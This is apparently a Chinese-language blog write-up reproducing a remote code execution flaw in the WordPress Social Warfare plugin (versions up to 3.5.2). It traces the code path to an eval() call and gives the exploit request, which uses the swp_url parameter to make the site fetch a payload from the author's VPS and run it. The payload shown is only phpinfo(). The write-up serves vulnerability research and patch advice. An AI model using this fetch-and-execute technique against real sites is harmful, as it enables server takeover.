WordPress Social Warfare组件 远程代码漏洞执行详细复现

时间:2023-08-13 16:07:14

0x00前言

今天在知道创宇上发现3月26日提交WordPress XSS和远程代码执行漏洞,于是试着复现了下远程代码执行漏洞

该漏洞源于Social Warfare组件,并且版本<=3.5.2、且要是管理员登录状态,因此该漏洞是个后台代码执行

漏洞报告https://www.webarxsecurity.com/social-warfare-vulnerability/

利用需一台能够被访问的vps

0x01环境搭建

我是采用的windows下的phpstudy,php版本为5.4

WordPress版本是最新版本https://wordpress.org/download/

Social Warfare版本是3.5.1(官方已经更新到了3.5.4)https://downloads.wordpress.org/plugin/social-warfare.3.5.1.zip

下载下来分别解压后,把social-warfare放在\wordpress\wp-content\plugins\目录下

WordPress Social Warfare组件 远程代码漏洞执行详细复现

安装好WordPress后,把social-warfare组件起用(点Activate后,会变成Settings,并在左侧目录下出现Social Warfare子目录)

WordPress Social Warfare组件 远程代码漏洞执行详细复现

0x02 漏洞分析

浏览报告的时候,明确是\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php中的debug_parameters()调用了eval(),并未对options进行明显过滤

首先下在eval处个断点

WordPress Social Warfare组件 远程代码漏洞执行详细复现

找到$array传入前$options的地方下个断点

WordPress Social Warfare组件 远程代码漏洞执行详细复现

往回找到调用了debug_parameters()的地方\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php中的init()方法,该方法又被__construct()调用

WordPress Social Warfare组件 远程代码漏洞执行详细复现

继续寻找调用的SWP_Database_Migration类的\wordpress\wp-content\plugins\social-warfare\lib\utilities\Social_Warfare.php中的Social_Warfare类的instantiate_classes()方法的202行初始化了SWP_Database_Migration()类

WordPress Social Warfare组件 远程代码漏洞执行详细复现

instantiate_classes()方法又被Social_Warfare类的初始init()方法调用,并init()被该类的__construct()调用

WordPress Social Warfare组件 远程代码漏洞执行详细复现

最后Social_Warfare类被\wordpress\wp-content\plugins\social-warfare\social-warfare.php调用

WordPress Social Warfare组件 远程代码漏洞执行详细复现

在后台添加过Social Warfare组件后,wordpress在访问时,大部分都会包含这个social-warfare.php文件,因此逐步跟进下寻找到触发漏洞利用点eval()参数

在\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php处有个判定

WordPress Social Warfare组件 远程代码漏洞执行详细复现

跟进一下SWP_Utility:debug这个方法,要求GET参数中要有swp_debug参数,并值要和$key相同,而$key也就是传入的'load_options'

WordPress Social Warfare组件 远程代码漏洞执行详细复现

之后会判断是否是管理员,如果不是就会退出,所以需要在后台管理员状态登录,我测试了下在首页不能过这个点

WordPress Social Warfare组件 远程代码漏洞执行详细复现

这里我是在/wp-admin/目录下进行的debug调试操作,进行运行,到了漏洞参数传入的地方,因为file_get_contents是能够远程加载文件的,并且文件路径可控,因为把payload以txt文件格式传到自己的vps上即可

WordPress Social Warfare组件 远程代码漏洞执行详细复现

剪切远程加载的代码逻辑如下,<pre>xxxxx</pre>会去掉<pre>和</pre>,如果不包含这2个标签会返回false

0x03漏洞复现

在远程的vps上payload如下

<pre>phpinfo()</pre>

WordPress Social Warfare组件 远程代码漏洞执行详细复现

最后的请求的url头如下

http://127.0.0.1/wordpress/wp-admin/admin.php?page=social-warfare&swp_debug=load_options&swp_url=http://vpsi/wordpress_social_warfare_payload.txt

本地测试成功返回了phpinfo信息

WordPress Social Warfare组件 远程代码漏洞执行详细复现

0x04 修复建议

因为该漏洞利用成功版本在Social Warfare<=3.5.2,所有更新到3.5.3及以上即可避免

ps:文章投稿给freebuf还在待审核.................